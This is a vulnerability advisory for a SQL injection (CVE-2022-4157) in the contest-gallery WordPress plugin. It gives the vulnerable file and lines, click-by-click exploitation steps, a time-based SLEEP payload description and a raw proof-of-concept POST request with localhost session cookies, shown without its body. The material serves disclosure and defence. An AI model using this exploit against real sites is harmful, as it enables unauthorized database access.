contest-gallery WordPress plug-in SQL injection

Vulnerability Metadata

Key Value
Date of Disclosure December 05 2022
Affected Software contest-gallery
Affected Software Type WordPress plugin
Weakness SQL Injection
CVE ID CVE-2022-4157
CVSS 3.x Base Score n/a
CVSS 2.0 Base Score n/a
Reporter Kunal Sharma, Daniel Krohmer
Reporter Contact
Link to Affected Software
Link to Vulnerability DB

Vulnerability Description

The cg_option_id POST query parameter in contest-gallery is vulnerable to SQL Injection. An authenticated attacker may abuse the Export all votes functionality in cg_votes_csv_export_all function inside export-votes-all.php. This leads to a threat actor crafting a malicious POST request.

Exploitation Guide

Login as admin user. This attack requires at least admin privileges.

Create a New Gallery, if no gallery was created before.


Change the Gallery name.



Click on Edit gallery.


Click Export all votes


Clicking Export all votes triggers the vulnerable request, the cg_option_id POST parameter is the vulnerable query parameter.


A POC may look like the following request:


In the application code, the vulnerability is triggered by un-sanitized user input of cg_option_id at line 19 in ./v10/v10-admin/export/export-votes-all.php.


At lines 54-60 in ./v10/v10-admin/export/export-votes-all.php the database query call on $GalleryID leads to SQL Injection.


At lines 99-110 in ./v10/v10-admin/export/export-votes-all.php the vulnerable input is again passed to variable- $queryString .


At line 112 in ./v10/v10-admin/export/export-images-data.php the database query call on $GalleryID leads to SQL Injection.


Exploit Payload

Please note that cookies and nonces need to be changed according to your user settings, otherwise the exploit will not work.

Since the vulnerable query parameter cg_option_id is passed to two database queries, we can notice the sleep time of the request being four times(4 invocation) the given argument inSLEEP()*(~12,000 milliseconds here as SLEEP(3)).

The SQL injection can be triggered by sending the request below:

POST /wp-admin/admin.php?page=contest-gallery/index.php&option_id=1&cg_export_votes=true HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/wp-admin/admin.php?page=contest-gallery%2Findex.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 106
Origin: http://localhost:8080
Connection: close
Cookie: wordpress_37d007a56d816107ce5b52c10342db37=kaiba%7C1668483239%7CK8EB5hjVfjEvvJBQHeOyVpkJ8eKTSgY1ZwNZ9Gu6mIr%7Cafb735282dd2e1aeaff1d135419c00400e4e0e2a1d85809d6b54f126cfcd1883; wp-settings-time-2=1667954049; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_37d007a56d816107ce5b52c10342db37=kaiba%7C1668483239%7CK8EB5hjVfjEvvJBQHeOyVpkJ8eKTSgY1ZwNZ9Gu6mIr%7C7ebf6c23f43d24912558008e7e934286452154ec3874ac04b09a1f136b885df3; wp-settings-1=mfold%3Do%26libraryContent%3Dbrowse; wp-settings-time-1=1668310439
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1